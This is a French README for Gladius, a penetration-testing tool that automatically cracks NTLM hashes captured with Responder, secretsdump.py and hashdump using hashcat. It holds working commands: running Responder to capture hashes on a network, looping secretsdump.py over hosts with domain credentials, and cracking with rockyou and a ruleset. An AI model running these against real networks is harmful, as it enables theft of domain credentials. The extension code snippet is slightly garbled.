
Craquage automatisé de Responder/secretsdump.py
Auteur : Cory Duplantis (@ctfhacker) / blog
Gladius fournit une méthode automatisée pour casser des identifiants provenant de diverses sources lors d'un engagement. Nous cassons actuellement les hashs de Responder, secretsdump.py et smart_hashdump.
pip install watchdog
git clone https://www.github.com/praetorian-inc/gladius
cd gladius
git clone https://www.github.com/praetorian-inc/Hob0Rules
cp Hob0Rules/* .
rm -rf Hob0Rules/
python gladius.py --hashcat ../hashcat/hashcat-cli64.bin -r d3adhob0.rule -w rockyou.txt
Maintenant, démarrez la session Responder comme d'habitude
cd /usr/share/responder
python Responder.py -i YOUR_IP -I YOUR_INTERFACE
Envoyez les résultats de secretsdump à Gladius pour analyse et cassage.
for ip in $(cat ips); do secretsdump.py DOMAIN/username:password@$ip > /usr/share/responder/secretsdump_$ip; done
$ python gladius.py -h
usage: gladius.py [-h] [-v] [--responder-dir RESPONDER_DIR]
[--hashcat HASHCAT] [-r RULESET] [-w WORDLIST] [--no-art]
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increased output verbosity
--responder-dir RESPONDER_DIR
Directory to watch for Responder output
--hashcat HASHCAT Path to hashcat binary
-r RULESET, --ruleset RULESET
Ruleset to use with hashcat
-w WORDLIST, --wordlist WORDLIST
Wordlist to use with hashcat
--no-art Disable the sword ascii art for displaying credentials
and default to only text.
Le jeu de règles par défaut est un meilleur jeu best64 de Julian Dunning (@hob0man) de Praetorian. Sa présentation sur le sujet se trouve ci-dessous :
Surveille le journal de Responder pour les fichiers *NTLM*txt. Pour chaque fichier trouvé, analyse la sortie, crée un fichier temporaire contenant les nouveaux hashs, et les transmet à hashcat avec le bon type de hash.
Pour surveiller les hashs NTLM issus de hashdump, créez simplement un fichier avec les hashs NTLM de hashdump et déposez un fichier contenant
hashdumpdans son nom dans le répertoire Responder. Remarque : vous devrez examiner manuellement la sortie dans./engagement/responderhander_out/*pour vérifier les résultats du cassage dehashdump.
Surveille la sortie de hashcat et exporte des fichiers avec le format suivant :
Domain Username Password
Pour étendre Gladius :
GladiusHandler.'*' si le nom du fichier n'a pas d'importance)process(self, event) pour effectuer des actions sur tous les fichiers correspondant à votre motif.class YourHandler(GladiusHandler):
patterns = ['*']
def process(self, event):
data = self.get_lines(event)
# Perform work on data
Ajoutez-vous à la liste des gestionnaires
handlers = [
(ResponderHandler, args.responder,
(CredsHandler, ResponderHandler().outpath),
(YourHandler, CredsHandler().outpath),
(YourHandler, '/tmp'),
]